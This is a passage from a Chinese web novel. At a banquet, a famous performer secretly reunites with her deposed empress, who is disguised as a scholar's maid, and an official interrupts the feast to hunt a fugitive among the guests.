齐枫懒洋洋笑道:“柳姑娘过奖了。你的歌舞,的确让人耳目一新,齐某谢过。”
柳若雪的目光在楚清秋身上微微一顿,随即恢复如常,笑道:“齐公子谬赞,若雪不过是抛砖引玉。赵大人盛情,今日宴会群贤毕至,若雪也倍感荣幸。”
她说着,朝赵明德和卢正淳微微颔首,礼数周到。
赵明德哈哈一笑,举杯道:“好!柳姑娘谦虚了!来来,诸位,今晚是为齐贤弟庆功,柳姑娘的歌舞更是点睛之笔!咱们再饮一杯,贺齐贤弟前程似锦!”
他一饮而尽,卢正淳和众宾客纷纷响应,酒盏碰撞声响成一片。
周子陵端着酒盏,挤到齐枫身旁,压低声音道:“齐兄,这柳若雪果然名不虚传!那身段,那嗓子,怪不得云州达官贵人挤破头都要见她!不过……”
他顿了顿,瞥了眼楚清秋,嘿嘿一笑,“齐兄,你这侍女青禾姑娘,气质也不差啊,刚才柳若雪看她的眼神,可有点意思!”
齐枫挑眉,折扇轻敲掌心,笑道:“周兄,你这八卦的毛病啥时候能改改?柳若雪看谁都一样,哪有什么特别?”
赵明兰哼了一声,端着酒杯插话道:“周子陵,你少在这儿胡说八道!柳若雪再美,也不过是个唱戏的,青禾姑娘可是齐公子的贴身侍女,哪能随便比?”
齐枫哈哈一笑,摆手道:“赵小姐,青禾是我的侍女,自然有她的好,柳姑娘的表演,精彩是精彩,但各花入各眼,咱们喝酒便是。”
小荷坐在一旁,咬着糖葫芦,眼睛亮晶晶地盯着柳若雪,小声道:“少爷,青禾姐姐,柳若雪真的好漂亮!她的舞跳得像仙女,唱得也那么好听!”
楚清秋轻抚小荷的脑袋,柔声道:“小荷,别胡思乱想。柳姑娘是云州名伶,见惯了大场面,你以后见的多了,也会和她一样。”
宴席间,宾客们三三两两议论开来。
“柳若雪不愧是云州第一伶,这身段怕是天上的仙女也不过如此!”一个中年商贾端着酒盏,摇头晃脑地赞叹。
“可不是嘛!听说云州王家大公子为她一掷千金,连衣角都没摸着!今晚能见她献艺,真是托了齐公子的福!”另一名士子附和,眼中满是惊艳。
“不过,你们说,这齐枫齐公子也真是好福气!春闱榜首,又有柳若雪献艺,旁边还有个气质不凡的侍女,这日子过得比咱们知府大人还滋润!”一个锦袍青年笑道。
“嘘,小声点!齐公子可是赵大人和卢大人看重的,听说京城的几位大人物都对他感兴趣,未来前途无量!咱们可别乱说话!”另一人赶紧压低声音,目光却不时瞟向齐枫。
齐枫耳力过人,这些议论自然逃不过他的耳朵。
他懒洋洋地靠在雕花木椅上,对这些议论毫不在意。
酒过三巡,柳若雪起身,朝赵明德一福:“赵大人,诸位贵客,若雪今日献艺已毕,身子略感疲乏,先下去休息片刻,望诸位见谅。”
赵明德摆手,笑呵呵道:“柳姑娘辛苦了!快去休息!”
他转向众人,“诸位,柳姑娘今日为咱们齐贤弟献艺,精彩绝伦,咱们再饮一杯,为柳姑娘贺!”
众人再次举杯,柳若雪微微一笑,红衣曳地,款款退场。
齐枫目光追随柳若雪的背影,敏锐地察觉到她离场前那一瞥似有深意。
他挑了挑眉,端起酒盏一饮而尽,却并未多言。
楚清秋突然起身:“少爷,青禾也有些乏了,想去休息片刻。”
齐枫转头看她,见她面纱下的眼神复杂,似有心事。
他点了点头,懒洋洋道:“去吧。”
楚清秋微微一福,缓步离开宴席。
小荷嘟着嘴,小声道:“青禾姐姐,你怎么了?今晚这么热闹,你不多待一会儿?”
楚清秋轻声道:“小荷,我只是有些累了,去休息一下,你先和
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少爷玩。”
宴席继续,丝竹声再次响起,宾客们推杯换盏,笑语喧哗。
齐枫端着酒盏,与周子陵,陈玉堂等人谈笑风生,依旧是那副吊儿郎当的模样。
赵明兰不时插科打诨,引得众人哄笑,气氛热烈。
与此同时,知府府邸后院,一处僻静的回廊尽头,楚清秋独自站在昏暗的灯火下,青衣飘飘,面纱遮住了她半张脸,显得孤寂清冷。
一阵轻微的脚步声从回廊另一端传来,柳若雪的红衣身影出现在灯火中。
她步伐轻盈,又带着几分急切,目光在看到楚清秋时骤然一亮,随即猛地停下脚步。
“扑通”一声,柳若雪毫不犹豫地跪倒在地,无尽的激动:“拜见陛下!”
楚清秋身子一震,面纱下的目光猛地抬起,凝视着跪地的柳若雪。
她的眼神复杂,震惊,欣慰,又夹杂着几分久违的威严。
她缓缓开口,声音清冷带着一股不容置疑的帝王之气:“若雪,起来吧。”
柳若雪抬起头,眼中泪光闪烁,声音哽咽:“陛下!臣……臣以为此生再无缘面圣!乾国覆灭,臣四处寻觅您的下落,却始终无果,臣只知陛下未落入景国朝廷之手,却不想……不想竟在此地见到陛下!”
她说着,泪水滑落,红衣微微颤抖。
楚清秋深吸一口气,缓缓摘下面纱,露出那半张布满红疮的脸庞。
她带着几分自嘲:“若雪,你看我如今这模样,哪还有半点陛下的样子?乾国已亡,我不过是个苟延残喘的废人罢了。”
柳若雪猛地抬头,看到楚清秋脸上的红疮,眼中闪过浓浓的震惊与心痛。
她咬紧嘴唇:“陛下!您的脸……怎会如此?是谁……是谁害您至此?”
楚清秋目光一黯,缓缓道:“若雪,坐下说吧。”
她指了指回廊旁的石凳。
柳若雪起身,擦去泪水,依言坐下,目光却始终离不开楚清秋。
她深吸一口气,缓缓开口。
第一百章 再图大事
“陛下,当年乾国破灭,臣伪装身份随乐团四处流浪,暗中打探您的消息。臣只知您冲出帝都后销声匿迹,景国朝廷下了死命令追捕您。臣无能,遍寻云州,江州,却始终找不到您的踪迹。臣便以歌舞为掩护,辗转各地,只盼有朝一日能再为您效命。”
她顿了顿,眼中闪过一丝复杂:“臣万万没想到,竟会在青田县,在这知府宴会上见到陛下!陛下,您……您怎会沦为齐枫的侍女?这齐枫又是何人?”
楚清秋闻言,目光微微一沉,沉默片刻,她缓缓开口:“若雪,乾国覆灭后,我孤身逃亡,辗转各地,终因身中**而病倒路边。若非齐枫在拍卖行将我买下,我怕早已命丧黄泉。”
她顿了顿:“齐枫此人,表面纨绔,实则医术高超,智谋过人。他已诊出我身中**,承诺半年内为我解毒。我如今寄人篱下,化名**禾,只为蛰伏待机,寻复国之机。”
柳若雪听罢,眼中闪过一丝震惊,随即咬牙道:“陛下!您中的毒……竟是**?当年宫中太医为何未曾察觉?莫非……莫非乾国覆灭,背后还有更大的阴谋?”
楚清秋目光一冷,沉声道:“若雪,乾国之事,绝非表面那般简单。我最后一战,突感乏力,恐与这毒有关。宫中太医无一人察觉,定有内鬼。如今我身在景国,寸步难行,只能暂且隐忍。”
柳若雪猛地攥紧拳头,眼中燃起怒火:“陛下!臣如今虽一介伶人,却愿为您肝脑涂地!如今既已重逢,臣定当追随左右,助您复国!”
楚清秋看着柳若雪,眼中闪过一丝欣慰,又带着几分无奈:“若雪,你的心意我明白。但如今景国势大,我身中剧毒,复国之路遥遥无期。你如今是云州第一伶,名动四方,何必为我这**之君冒险?”
柳若雪猛地摇头,俏脸坚定:“陛下!臣自幼蒙您恩典,若无您,臣早已死于乱世。乾国虽亡,臣心仍在!只要陛下一日不弃,臣便一日不离!”
楚清秋闻言,眼中闪过一丝动容。
她缓缓伸出手,轻轻拍了拍柳若雪的肩:“好,若雪,你既有此心,我便不再推辞。但如今局势复杂,你我皆需谨慎行事。齐枫此人,绝非表面那般简单,你切莫在他面前露出破绽。”
末了,她又补充了一句:“他是可以信任之人。”
柳若雪点头,目光坚定:“陛下放心,臣明白。臣会继续以歌舞乐团为掩护,暗中为您打探消息。只是……”
她顿了顿,目光再次落在楚清秋脸上的红疮,眼中满是心痛,“陛下的脸,这毒当真能解吗?”
楚清秋重新戴上面纱,声音平静:“齐枫医术高超,他既说能解,我便信他一回,若雪,你也无需太过担忧,如今还有一两月,之后,我自会恢复。”
柳若雪咬紧嘴唇,眼中泪光再起:“陛下,臣只恨自己无能,不能为您分忧!这毒若真如齐枫所说,可解,臣便陪您等到那一天!”
楚清秋微微一笑,目光柔和:“若雪,有你这句话,我便知此生不孤。今日重逢,已是天赐良机。你我且各自小心,待来日时机成熟,再图大事。”
柳若雪重重颔首,眼中燃起希望之光。
她起身,再次朝楚清秋一拜:“陛下,臣定不负所托!”
楚清秋与柳若雪从后院回廊返回宴席,青衣与红衣交相辉映,引得不少宾客侧目。
楚清秋面纱遮面,气质清冷。
柳若雪则红衣曳地,团扇轻掩半面,笑意盈盈,风姿绰约,宛如一朵盛开的牡丹,引得厅内众人目光流连。
赵明德见柳若雪归来,放下酒盏,笑呵呵起身,拱手道:“柳姑娘,你可算回来了!方才你的歌舞,着实让大家伙儿开了眼界!对了,柳姑娘此番来府城,打算停留多久啊?”
柳若雪带着几分柔媚道:“赵大人谬赞了。若雪初次来到府城,久闻此地山清水秀,风光旖旎,尤其是那南街夜市,灯火通明
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,热闹非凡,还有城外青川的烟波浩渺,着实让人心动。既然有幸来此,若雪便想多留些时日,四处走走看看,领略府城的风土人情。”
此言一出,席间顿时响起一片欢呼。
周子陵一拍大腿,举杯笑道:“好!柳姑娘这话说得太对了!府城可是个好地方,柳姑娘愿意多留,咱们这些粗人也能多沾点文雅气息!”
陈玉堂忙附和,咧嘴道:“柳姑娘,你这决定可太妙了!南街的茶肆,城外的酒肆,还有那青川的画舫,哪个不是一等一的景致?咱们可得陪你好好逛逛!”
徐远端着酒坛,嘿嘿一笑:“就是!柳姑娘留下来,咱们府城的热闹可就更上一层楼了!到时候还得请你再献一曲,让咱们再开开眼!”
小荷拽着楚清秋的袖子,兴奋道:“青禾姐姐,柳姑娘要多留几天,咱们也能去看看她说的那些地方!来了这么些天,南街夜市我还没去过呢!”
楚清秋轻抚小荷的脑袋,柔声道:“好。”
赵明德哈哈一笑,端起酒盏,朝柳若雪道:“柳姑娘愿意多留,那是府城的福气!咱们这些做主人的,定要好生招待!来来,诸位,为柳姑娘再留府城,干一杯!”
众人纷纷举杯,酒盏碰撞声响成一片,宴席气氛愈发热烈。
卢正淳捋着胡须,笑呵呵道:“柳姑娘,府城虽不及云州繁华,但也有几分独特韵味。你若有兴致,齐公子还能陪你去青川泛舟,赏一赏那烟波画景!”
柳若雪掩嘴轻笑,朝卢正淳一福:“卢大人客气了。若雪若有幸,定要向大人讨教一二。”
她顿了顿,目光流转,似有意似无意地扫向齐枫,柔声道:“不过,若雪听闻齐公子才华横溢,春闱榜首,风采无双。能在府城多留几日,说不定还能向齐公子请教一二,这番停留,怕是少不了齐公子的缘故。”
这话一出,厅内众人目光齐刷刷地转向齐枫,气氛陡然变得暧昧起来。
第一百零一章 不速之客
周子陵第一个起哄,拍手笑道:“好家伙!柳姑娘这话可有意思!齐兄,你这榜首之名,连云州第一伶都心动了!你是不是早就跟柳姑娘有交情了?”
陈玉堂挤眉弄眼,端着酒盏道:“齐兄,柳姑娘这话可不简单!人家都说到这份儿上了,你还不赶紧表个态?莫不是真看上你这风流才子了?”
徐远哈哈大笑,猛灌一口酒,嚷道:“齐兄,你这福气,兄弟我都眼红了!柳若雪可是云州第一伶,多少达官贵人求之不得,你这家伙倒好,坐着不动就让人家主动投怀送抱!”
赵明兰撇了撇嘴,哼道:“你们这群家伙,瞧瞧这没出息的样!柳若雪不过是客套两句,你们就当真了?齐枫,你可别被这帮人带偏了!”
齐枫折扇一展,懒洋洋笑道:“诸位,柳姑娘不过是随口一说,你们这脑子转得比我扇子还快。柳姑娘的才艺,齐某佩服,但要说别的,我这人可没那么大魅力。”
柳若雪轻摇团扇,朝齐枫抛了个媚眼:“齐公子何必自谦?你的才华,府城上下谁人不知?若雪不过一介伶人,能得齐公子一句赞赏,已是三生有幸。”
她说着,红唇轻抿,眼中波光流转,引得厅内众人又是一阵起哄。
“哟!柳姑娘这眼神,齐兄你可得接住了!”周子陵拍着桌子,笑得合不拢嘴。
“齐兄,快点,别装淡定了!”陈玉堂挤眉弄眼,端着酒盏朝齐枫敬酒。
小荷瞪着圆溜溜的眼睛,拽着楚清秋的袖子,小声道:“青禾姐姐,柳姑娘是不是真的看上少爷了?她那眼神,好勾人啊!”
赵明德见气氛热烈,哈哈一笑,拍手道:“好!柳姑娘和齐贤侄,一个是云州第一伶,一个是春闱榜首,这般交锋,真是宴席一大乐事!来来,诸位,再饮一杯,为这热闹干杯!”
卢正淳端着酒盏,难得露出一丝调侃的笑意,朝柳若雪道:“柳姑娘,你说你留下来是为了府城风光,我看八成是为了咱们齐贤侄这榜首才子吧?不然怎会挑在这时候多留几日?”
此言一出,厅内哄笑声更大,宾客们纷纷附和。
“卢大人这话说得有理!柳姑娘怕是真看上齐公子了!”
“可不是嘛!齐公子这风采,哪个姑娘见了不心动?柳姑娘留下来,指定是为了齐公子!”
齐枫挑眉,笑道:“卢大人,您这玩笑可开大了。柳姑娘是云州名伶,什么样的才子没见过?齐某不过是侥幸中了个秀才,哪有这等福气?”
柳若雪目光流转,柔声道:“齐公子又自谦了,若雪虽是伶人,却也识得真才实学。齐公子的诗才,府城无人不晓,若能得一首佳作,若雪此行便不虚了。”
这话一出,众人目光再次聚焦在齐枫身上,气氛被推至高潮。
赵明兰眼睛一亮,猛地一拍桌子,豪气道:“好!柳姑娘这话说到我心坎儿里去了!齐公子,你如今是春闱榜首,又洗清了冤屈,今晚宴席这么热闹,正是大展才华的时候!来来,赶紧作首诗,让咱们开开眼!”
周子陵立刻附和,举杯道:“对对!齐兄,今晚柳姑娘在场,你可不能藏拙!”
陈玉堂也跟着起哄,拍手道:“齐兄,作诗!作诗!今晚这场合,不来两首诗,怎对得起柳姑娘这云州第一伶的名头?”
就连楚清秋也轻声道:“少爷,柳姑娘既开口,众人又如此期待,你便作一首吧。”
赵明德端着酒盏,笑呵呵道:“齐贤侄,难得今晚群贤毕至,柳姑娘又在场,你这榜首之名,可得拿出点真本事来!来,作首诗,让大家伙儿见识见识!”
卢正淳捋着胡须,点头道:“赵大人说得对。齐公子不如就应了这份盛情,作首佳作如何?”
宾客们纷纷响应,目光齐聚在齐枫身上,期待之情溢于言表。
厅内的丝竹声渐渐停下,所有人都屏息凝神,等待这位春闱榜首大展身手。
齐枫闻言,嘴角微扬,折扇一合,缓缓起身。
他的目光扫过全场,轻咳一声,朗声道:“既然诸位如此抬爱,柳姑娘又亲口相邀,齐某若再推辞,怕是要被赵小姐骂没出息了。”
此言一出,厅内响起一片笑声。
赵明兰哼了一声,端着酒盏道:“算你识相!快作诗,别磨蹭!”
齐枫哈哈一笑,踏前一步,目光在柳若雪和楚清秋之间流转片刻,似在思索什么。
宴会厅内灯火摇曳,宾客们的目光牢牢锁在他身上,气氛凝固而热烈。
齐枫折扇一合,负手而立,嘴角挂着惯常的懒散笑意,清了清嗓子,朗声道:“齐某献丑了。今日宴席热闹,府城风光旖旎,恰逢柳姑娘初来,便以这府城夜景为题,作一首诗。
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”
他顿了顿,目光落在窗外,夜色中府城灯火点点,青川河的波光隐约可见。
他微微一笑,吟道:“府城灯火映青川,画舫轻摇月半弦。丝竹声里人如醉,月色无边胜画仙。”
诗声清朗,节奏舒缓,却带着一股意蕴悠长的韵味。
诗成,厅内先是一静,随即爆发出热烈的掌声,宾客们交口称赞,气氛陡然高涨。
赵明德第一个拍案叫绝,笑呵呵道:“好诗!齐贤弟这首诗,寥寥数语,便将府城的灯火与青川的夜色勾勒得活灵活现!尤其是那句月色无边胜画仙,真是点睛之笔,意境高远!”
卢正淳点头,眼中闪过一丝赞赏,沉声道:“齐公子的诗才,果然名不虚传。这首诗不仅应了府城夜景,还带了几分超脱之气,令人回味无穷。看来春闱榜首,实至名归!”
周子陵一拍大腿咧嘴笑道:“齐兄,你这诗也太绝了!简直把我今晚的心情写出来了!兄弟我敬你一杯!”
柳若雪轻摇团扇,红唇微启:“齐公子的诗才,若雪今日算是彻底领教了。若雪行走云州,江州,见过不少才子,但他们的诗作与齐公子相比,终究少了份灵气。这首诗,不仅写出了府城的风光,更有种超然物外的意境,若雪佩服。”
她说着,朝齐枫微微一福。
齐枫懒洋洋笑道:“诸位谬赞了,齐某不过是随便吟两句,哪当得起这么多奉承?柳姑娘更是过奖,齐某这点雕虫小技,比起你的歌舞,可差远了。”
赵明德哈哈一笑,举杯道:“齐贤第谦虚了!你的诗才,府城上下谁人不知?”
周子陵端着酒盏挤到齐枫身旁,嘿嘿笑道:“齐兄,柳姑娘心动了!说真的,你跟柳姑娘聊聊诗词歌赋,没准还能擦出点火花!”
他挤眉弄眼,引得陈玉堂和徐远一阵哄笑。
齐枫哈哈一笑,正要回应,忽听宴会厅外传来一阵急促的脚步声。
众人循声望去,只见萧无痕一身黑衣,腰悬圆月弯刀,气势凛然地走了进来。
他的身后,袁克良低着头,脸色阴沉,紧跟其后。
厅内喧哗声骤然一静,所有人的目光都落在萧无痕和袁克良身上。
赵明德和卢正淳对视一眼,眼中闪过一丝意外。
齐枫折扇一顿,目光微眯,嘴角却勾起一抹意味深长的笑意。
第一百零二章 又起风波
厅内喧哗声骤然一静,赵明德放下手中酒盏,眉头微挑,率先起身迎上前:“萧大人,你们来得可真是时候!方才柳姑娘一舞,惊艳四座,府城上下怕是无人能及!萧大人若早来片刻,定能一饱眼福!”
萧无痕闻言,目光扫过厅内,嘴角微微上扬一抹冰冷的弧度:“赵大人客气了,柳姑娘的舞姿,萧某虽未亲见,但云州第一伶的名头早已如雷贯耳。今日错过,实属遗憾。”
柳若雪款款起身,红衣曳地,团扇轻掩半面,朝萧无痕微微一福,声音清亮如珠落玉盘。
“萧大人谬赞了。若雪不过抛砖引玉,博诸位一笑罢了。既来府城,自当多留几日,若萧大人有兴致,日后定还有机会一观。”
赵明兰端着酒盏斜眼瞥向柳若雪,嘀咕道:“说得好听,还不是想多留几天捞点名声!”
她声音不大,却足以让身旁的周子陵听见,后者憋着笑,朝她挤了挤眼。
周子陵端着酒盏,凑到齐枫身旁,低声道:“齐兄,这柳若雪可真会说话,三两句就把场面圆得滴水不漏!不过这萧无痕来得蹊跷,带着袁克良这家伙,怕不是单纯来喝酒的吧?”
齐枫折扇一合,懒洋洋笑道:“周兄,你这八卦的毛病啥时候能改改?萧大人是朝廷命官,公务缠身,兴许只是路过,顺道来凑个热闹。”
话虽如此,齐枫的目光却落在萧无痕身上。
萧无痕气势冷峻,圆月弯刀映着灯火寒光凛冽,步伐沉稳,带着一股无形的威压。
而袁克良站在他身后,眼神阴鸷,不时偷瞄齐枫,嘴角挂着一抹冷笑,似在酝酿什么。
卢正淳捋了捋胡须,缓缓起身,目光在萧无痕与袁克良之间流转:“萧大人,你忙于追查乾国余孽,案情繁重,连府城的宴席都无暇出席。今日突然驾到,怕不是只为喝酒贺喜吧?”
此言一出,厅内宾客的议论声骤然低了下去,所有人屏息凝神,目光齐聚萧无痕。
赵明德端着酒盏的手微微一顿,眼中闪过一丝疑惑,侧头看了卢正淳一眼,却并未开口。
萧无痕闻言,微微一笑:“卢大人果然敏锐。萧某此行,的确不只是为庆功宴而来。”
他顿了顿,目光缓缓扫过全场,似在观察每个人的神色,脸色陡然一沉:“朝廷下令彻查乾国余孽,萧某追查多日,总算找到了一些线索,今日宴会群贤毕至,萧某便直言了,那余孽,就在今晚这宴会之中!”
这话如同一记惊雷,炸得厅内众人一片哗然。
宾客们面面相觑,窃窃私语声此起彼伏,气氛瞬间变得紧张。
有人小声惊呼:“乾国余孽?怎会在这宴会上?”
还有人疑惑道:“萧大人莫不是弄错了?咱们设宴,哪来的余孽?谁胆子这么大?”
周子陵第一个拍案而起,瞪着袁克良,怒声道:“萧大人,您这话可得说清楚!不会又是袁克良这家伙搞的鬼吧?这厮前头才买通阿福污蔑齐兄,公堂上刚被驳得灰头土脸,现在又跑来挑事!摆明了是故意的!”
赵明兰也冷哼一声,双手环胸,斜眼盯着袁克良:“就是!袁克良,你这人怎么这么恶心?前头冤枉齐公子的事还没完,现在又来蹦跶!萧大人,您可别被这家伙蒙了,他就是见不得齐公子好!”
袁克良闻言,脸色铁青,猛地抬头,冷笑一声:“周子陵,赵明兰,你们少在这儿血口喷人!萧大人追查余孽,那是朝廷大事,与我何干?你们一口一个冤枉,难不成还想把脏水往我头上泼?”
他转向萧无痕,拱手道:“萧大人,克良绝无半点私心!您追查余孽,定是有了真凭实据。克良虽不才,但也愿助大人一臂之力,揪出那藏在宴会中的贼人!”
萧无痕目光微眯,扫了袁克良一眼,嘴角勾起一抹意味深长的笑意:“袁公子不必急着表忠心。萧某既敢说此话,自是有几分把握。那乾国余孽,藏得极深,但今晚,萧某定
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要将其揪出!”
他这话说得斩钉截铁,厅内众人只觉一股寒意从脊背升起,议论声愈发激烈。
“乾国余孽?那可是前朝的逆贼!怎会混到这宴会上?”
有人怀疑地看向四周:“莫不是哪个下人混进来了?咱们这些人,哪个不是府城有头有脸的?”
赵明德眉头紧锁,放下酒盏,沉声道:“萧大人,您这话可非同小可!今晚宴会是为齐贤弟庆功,来的都是府城俊杰,若真有余孽混入,怕是要惊动朝廷了!您可有确凿证据?”
卢正淳也沉吟片刻,缓缓道:“赵大人说得是。萧大人,乾国余孽一事,关系重大,若无真凭实据,恐会引起不必要的恐慌。还请大人明言。”
萧无痕目光如刀,缓缓扫过全场,最终,他的目光停在齐枫身上,露出一抹似笑非笑的神情。
“赵大人,卢大人,萧某做事,自有分寸。至于证据……”
他顿了顿,语气陡然一转,“今晚这宴会,萧某自会找出那余孽。齐公子,你说呢?”
齐枫闻言,这才懒洋洋起身:“萧大人这话,齐某可有些听不明白。乾国余孽,藏在宴会中?您这目光盯着我,莫不是怀疑齐某不成?”
他这话半开玩笑半认真,却让厅内众人心头一紧。
赵明兰第一个跳起来,拍桌道:“萧大人,您这话什么意思?齐公子可是春闱榜首,青田县的骄傲!您要查余孽就查,盯着齐公子算怎么回事?”
周子陵也跟着嚷道:“就是!萧大人,袁克良那家伙前头才污蔑齐兄,现在您又来这一出,难不成是袁克良又在背后搞鬼?您可得擦亮眼睛,别被小人蒙蔽!”
袁克良冷笑一声,踏前一步,阴鸷的目光扫向齐枫:“周子陵,你少在这儿挑拨!萧大人明察秋毫,查案自有章法!齐枫,你若心里没鬼,何必急着撇清?莫不是真有什么见不得人的秘密?”
又来了!
众人翻了个白眼!
第一百零三章 江湖大盗
齐枫哈哈一笑:“袁公子这话可有意思。齐某堂堂春闱榜首,府城上下谁人不知?若说秘密,怕是袁公子买通阿福那档子事,比我这秘密大多了吧?”
此言一出,厅内响起一片低笑声,宾客们交头接耳,显然是对于公堂上的那场闹剧都有耳闻。
袁克良脸色涨红,咬牙道:“齐枫,你少在这儿转移话题!萧大人既然说余孽在宴会中,自有他的道理!”
萧无痕摆了摆手,示意袁克良闭嘴,目光却始终锁在齐枫身上,笑道:“齐公子勿怪。萧某并无意针对你,只是这余孽狡猾,藏得极深,萧某不得不谨慎行事。今晚宴会,群贤毕至,萧某只想请诸位配合一二,免得让那贼人继续藏匿。”
赵明德闻言,眉头微皱,沉声道:“萧大人,您的意思是,今晚要在这宴会上搜查?可这宴会都是府城名流,如此行事,怕是会寒了大家的心。”
卢正淳也点头道:“赵大人说得有理。萧大人,查案固然要紧,但若无确凿证据,贸然搜查,恐有失妥当。”
萧无痕目光一闪,缓缓道:“两位大人放心,萧某自有分寸。今日宴会,萧某只想请诸位稍作配合,若真有余孽,定逃不过萧某的眼睛。”
他顿了顿,目光再次扫向齐枫,笑眯眯道:“齐公子,你说呢?对萧某此行,应该没什么不满吧?”
齐枫挑眉,笑道:“萧大人言重了。齐某不过一介秀才,哪敢对朝廷命官有不满?您要查余孽,齐某自然配合。只是……”
他顿了顿,目光扫向袁克良,笑意更深,“若查来查去,又是某些人故意挑事,萧大人可得替齐某做主啊!”
袁克良气得脸色铁青,却不敢当场发作,只能狠狠瞪了齐枫一眼。
柳若雪站在一旁,团扇轻掩半面,目光在萧无痕与齐枫之间流转,眼中闪过一丝复杂的神色。
她轻声道:“萧大人,齐公子,诸位何必为这事争执?今晚宴会是为庆贺齐公子榜首之名,萧大人既为公务而来,想必自有章法。若雪虽是外人,也相信萧大人定能秉公处理。”
赵明德连忙点头,举杯道:“柳姑娘说得对!萧大人,齐贤侄,咱们今晚是来喝酒贺喜的,查案之事,不妨稍后再议!”
众人纷纷举杯,酒盏碰撞声再次响起,宴席气氛却远不如先前热烈。
宾客们议论,目光不时扫向萧无痕与齐枫,猜测着这突如其来的“余孽”风波究竟指向何人。
楚清秋坐在一旁,青衣面纱遮住半张脸,目光清冷,低垂的眼帘掩住了心中的波澜。
她的手指不自觉地攥紧袖口,似在压抑着什么情绪。
小荷察觉到她的异样,拽了拽她的袖子,小声道:“青禾姐姐,你怎么了?萧大人这话,不会是冲着咱们来的吧?”
楚清秋轻抚小荷的脑袋,柔声道:“小荷,莫多想,咱们只管看好戏便是。”
齐枫的目光扫过楚清秋,敏锐地捕捉到她眼中的一丝紧张,嘴角笑意更深,却并未点破。
他端起酒盏,朝萧无痕遥遥一敬:“萧大人,齐某敬你一杯。愿你早日揪出那余孽,别让这好好的宴席扫了兴致。”
萧无痕接过酒盏,目光如刀,深深看了齐枫一眼,笑道:“齐公子好气度。萧某定不负所托。”
酒盏碰撞传来清脆一声声响,萧无痕与齐枫的对峙却让气氛骤然紧绷。
宾客们屏息凝神,目光在两人之间来回流转,生怕这朝廷命官与春闱榜首当场争执起来,搅了这庆功宴的喜气。
赵明德眉头紧锁,卢正淳则捋着胡须,袁克良站在萧无痕身后,嘴角挂着一抹阴鸷的冷笑,似在期待齐枫吃瘪。
就在众人以为冲突一触即发之际,萧无痕突然哈哈一笑,打破了这剑拔**张的氛围。
他放下酒盏,目光扫过全场,朗声道:“诸位莫要误会!萧某方才不过是一句玩笑,乾国余孽之事,怎会轻易出现在这府城宴会上?萧某不过是想
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活跃下气氛罢了!”
此言一出,厅内众人皆是一愣,面面相觑,满脸懵逼。
赵明兰第一个反应过来,猛地拍桌,瞪眼道:“萧大人,你这是什么意思?好端端的宴会,拿余孽说事吓唬人,逗我们玩呢?”
周子陵也挠了挠头,端着酒盏嘀咕:“萧大人,您这玩笑开得可有点大!方才那架势,我还以为真要抓什么逆贼呢,吓得我酒都差点洒了!”
徐远抹了把额头的汗,咧嘴道:“可不是嘛!萧大人,您这玩笑开得我心都提到嗓子眼了!早说清楚不就得了,害我们白担心一场!”
赵明德干咳一声,放下酒盏:“萧大人,这话当真只是玩笑?方才你说余孽就在宴会中,莫不是还有什么隐情?”
卢正淳也沉声道:“赵大人说得是。萧大人,你既非为余孽而来,今日带着袁公子突然造访,想必另有要事吧?”
萧无痕目光一闪,嘴角笑意更深,缓缓道:“赵大人,卢大人,诸位,萧某方才的确是玩笑,但此行却非全无目的。”
他顿了顿,语气陡然一沉,带着几分寒意:“萧某追查的并非乾国余孽,而是一名朝廷重犯!此人狡猾异常,朝廷追踪多日,原本以为毫无线索,却不想本官在追查余孽之时,意外发现了此人的踪迹!”
此言一出,厅内再次哗然,宾客们的议论声如潮水般涌起。
有人惊呼:“朝廷重犯?怎会混到这宴会里来?”
周子陵瞪大眼睛,端着酒盏的手一抖,忙道:“萧大人,您这话可别又是玩笑!朝廷重犯?那得是多大的胆子,敢混到知府大人的宴会上?”
赵明兰双手环胸冷哼道:“哼,我看八成又是袁克良搞的鬼!前头污蔑齐公子的事还没完,现在又整出个什么重犯,摆明了不安好心!”
袁克良闻言,脸色一沉,踏前一步,冷笑道:“赵明兰,你少在这儿胡说八道!萧大人追查重犯,那是朝廷大事,与我何干?”
第一百零四章 段飞
齐枫笑道:“袁公子这话可有意思。萧大人说重犯在宴会中,你急着跳出来撇清,莫不是心里有鬼?”
这话明显是拿袁克良之前的话反唇相讥,众人都有些忍俊不禁。
袁克良被噎得一滞,狠狠瞪了齐枫一眼,咬牙道:“齐枫,你少在这儿挑拨!萧大人明察秋毫,自会揪出那重犯!倒是你,春闱榜首又如何?谁知道你身边那些人干不干净?”
他这话明显指向楚清秋,引得小荷不乐意了,嘟着嘴道:“袁公子,你这话什么意思?我们青禾姐姐清清白白,已经证明了,你可别乱泼脏水!”
楚清秋目光清冷:“小荷,不必与他争执。萧大人自有公断。”
萧无痕摆了摆手,示意众人安静,沉声道:“诸位无需争执。萧某既敢说此话,自有把握。那重犯胆大包天,竟敢混入这知府宴会,视朝廷法度如无物!今晚,萧某定要将其揪出!”
他大手一挥,斩钉截铁:“来人!将宴会厅四周围起来,任何人不得擅自离开!”
话音刚落,厅外传来一阵整齐的脚步声,数十名官兵鱼贯而入,手持长矛,将宴会厅的出口团团围住。
宾客们见状,顿时慌乱起来,议论声愈发激烈。
有人惊慌道:“这……这是要干什么?真要在这儿抓人?”
“萧大人这是动真格了!那重犯到底是谁?”
赵明德脸色微变,忙道:“萧大人这是何意?今晚宴会是为齐贤弟庆功,来的都是府城名流,如此大动干戈!”
卢正淳也皱眉道:“赵大人说得有理,查案固然重要,但若无确凿证据,如此围困宾客,恐有不妥。”
萧无痕目光如刀,扫过全场,沉声道:“两位大人放心,萧某做事,自有分寸。那重犯就在这宴会之中,萧某绝不会冤枉无辜,也绝不放过真凶!诸位只需配合,萧某自会给出一个交代!”
就在此时,宴会厅一角突然传来一声轻响,众人循声望去。
只见一名身着灰袍的男子猛地起身,身形如电,一跃而起,脚尖点在桌上,借力窜向厅顶的横梁。
灰袍翻飞间,他身形矫健,几个起落便落在宴会厅的房顶上,动作快得让人几乎看不清。
“哗!”厅内众人齐齐一惊,目光瞬间锁定那灰袍男子。
有人惊呼:“那是谁?竟敢在萧大人面前逃窜!”
“快!抓住他!定是那重犯!”
萧无痕目光一凛,圆月弯刀已然出鞘,寒光一闪,沉声道:“哪里逃!”
他身形一晃,便要追去。
小荷拽着她的袖子,惊慌道:“青禾姐姐,那人……那人就是重犯吗?”
宴会厅内的气氛瞬间凝固,所有人的目光都死死锁在那灰袍男子的身影上。
袁克良猛地踏前一步,指着那灰袍男子怒喝道:“黑风刀段飞!你这朝廷重犯,总算让本公子……和萧大人揪出来了!好大的胆子,竟敢混到知府宴会吃酒!”
